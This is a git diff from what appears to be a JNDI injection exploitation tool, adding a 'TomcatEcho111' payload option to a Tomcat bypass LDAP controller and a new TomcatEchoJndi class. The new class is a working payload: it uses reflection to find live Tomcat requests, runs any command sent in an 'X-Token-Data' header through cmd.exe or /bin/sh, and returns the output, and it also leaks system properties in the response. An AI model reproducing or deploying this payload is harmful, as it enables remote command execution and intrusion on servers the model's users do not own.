diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index c0ca3ea..35139ab 100644 Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index df7bbed..4b2189a 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.bin and b/.gradle/8.7/executionHistory/executionHistory.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index 47b4f63..b935e4d 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.lock and b/.gradle/8.7/executionHistory/executionHistory.lock differ diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index aafd7bc..4ac3725 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.bin and b/.gradle/8.7/fileHashes/fileHashes.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index 215f78d..b0f7351 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index 8eb9eda..cc54671 100644 Binary files a/.gradle/8.7/fileHashes/resourceHashesCache.bin and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index 622dc64..134bc9b 100644 Binary files a/.gradle/buildOutputCleanup/buildOutputCleanup.lock and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index ebfef09..80f6541 100644 Binary files a/.gradle/file-system.probe and b/.gradle/file-system.probe differ diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java index fcff16d..fdecb2f 100644 --- a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java @@ -8,6 +8,7 @@ import com.qi4l.jndi.gadgets.utils.Gadgets; import com.qi4l.jndi.gadgets.utils.InjShell; import com.qi4l.jndi.gadgets.utils.Util; import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.jndi.template.echo.TomcatEchoJndi; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -48,7 +49,7 @@ public class TomcatBypassController implements LdapController { if (payloadType.contains("M-")) { String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); InjShell.init(params); - Class classQ = Gadgets.createClassT(ClassName1); + Class classQ = Gadgets.createClassT(ClassName1).getClass(); code = InjShell.injectClass(classQ); } @@ -60,6 +61,10 @@ public class TomcatBypassController implements LdapController { code = helper.injectMeterpreter(); } + if (payloadType.contains("TomcatEcho111")) { + code = helper.injectTomcatEchoTemplate(); + } + String payloadTemplate = "{" + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + @@ -145,6 +150,10 @@ public class TomcatBypassController implements LdapController { return InjShell.injectClass(ctClazz); } + public String injectTomcatEchoTemplate() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + return InjShell.injectClass(TomcatEchoJndi.class); + } + public String getExecCode(String cmd) throws IOException { String code = "var strs=new Array(3);\n" + diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java new file mode 100644 index 0000000..edbb4f0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java @@ -0,0 +1,119 @@ +package com.qi4l.jndi.template.echo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import java.lang.reflect.Field; +import java.util.List; +import java.util.Scanner; + +public class TomcatEchoJndi extends AbstractTranslet { + public TomcatEchoJndi(){ + try{ + boolean var4 = false; + Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); + + for(int var6 = 0; var6 < var5.length; ++var6) { + Thread var7 = var5[var6]; + if (var7 != null) { + String var3 = var7.getName(); + if (!var3.contains("exec") && var3.contains("http")) { + Object var1 = getFV(var7, "target"); + if (var1 instanceof Runnable) { + try { + var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); + } catch (Exception var13) { + continue; + } + + List var9 = (List)getFV(var1, "processors"); + + for(int var10 = 0; var10 < var9.size(); ++var10) { + Object var11 = var9.get(var10); + var1 = getFV(var11, "req"); + Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); + var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho"); + if (var3 != null && !var3.isEmpty()) { + var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); + var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3); + var4 = true; + } + + var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "X-Token-Data"); + if (var3 != null && !var3.isEmpty()) { + var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); + String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3}; + writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); + var4 = true; + } + + if ((var3 == null || var3.isEmpty()) && var4) { + writeBody(var2, System.getProperties().toString().getBytes()); + } + + if (var4) { + break; + } + } + + if (var4) { + break; + } + } + } + } + } + }catch (Exception e){ + e.printStackTrace(); + } + } + + private static void writeBody(Object var0, byte[] var1) throws Exception { + Object var2; + Class var3; + try { + var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); + var2 = var3.newInstance(); + var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); + var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); + } catch (NoSuchMethodException var5) { + var3 = Class.forName("java.nio.ByteBuffer"); + var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); + var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); + } + + } + + private static Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while(var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +}